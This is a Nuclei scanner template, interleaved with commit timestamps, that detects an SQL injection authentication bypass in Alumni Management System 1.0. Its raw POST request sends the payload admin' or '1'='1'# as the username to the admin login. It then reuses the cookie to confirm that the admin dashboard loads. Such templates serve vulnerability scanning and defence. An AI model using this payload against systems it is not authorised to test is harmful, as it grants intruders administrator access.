2022-07-21 10:47:53 +00:00
|
|
|
id: alumni-management-sqli
|
2022-07-21 07:46:42 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: Alumni Management System 1.0 - SQLi Authentication Bypass
|
|
|
|
author: arafatansari
|
|
|
|
severity: high
|
|
|
|
description: |
|
2022-07-21 10:47:53 +00:00
|
|
|
Alumni Management System Admin Login page can be bypassed with a simple SQLi to the username parameter.
|
2022-07-21 07:46:42 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/48883
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: sqli,auth-bypass,cms,edb,alumni
|
2022-07-21 07:46:42 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
2022-07-21 10:47:53 +00:00
|
|
|
POST /admin/ajax.php?action=login HTTP/1.1
|
2022-07-21 07:46:42 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
username=admin'+or+'1'%3D'1'%23&password=nuclei
|
|
|
|
|
|
|
|
- |
|
2022-07-21 10:47:53 +00:00
|
|
|
GET /admin/index.php?page=home HTTP/1.1
|
2022-07-21 07:46:42 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- 'Welcome back Admin!'
|
2022-07-21 10:47:53 +00:00
|
|
|
- 'Alumni List'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '#login-form'
|
|
|
|
negative: true
|
2022-07-21 07:46:42 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|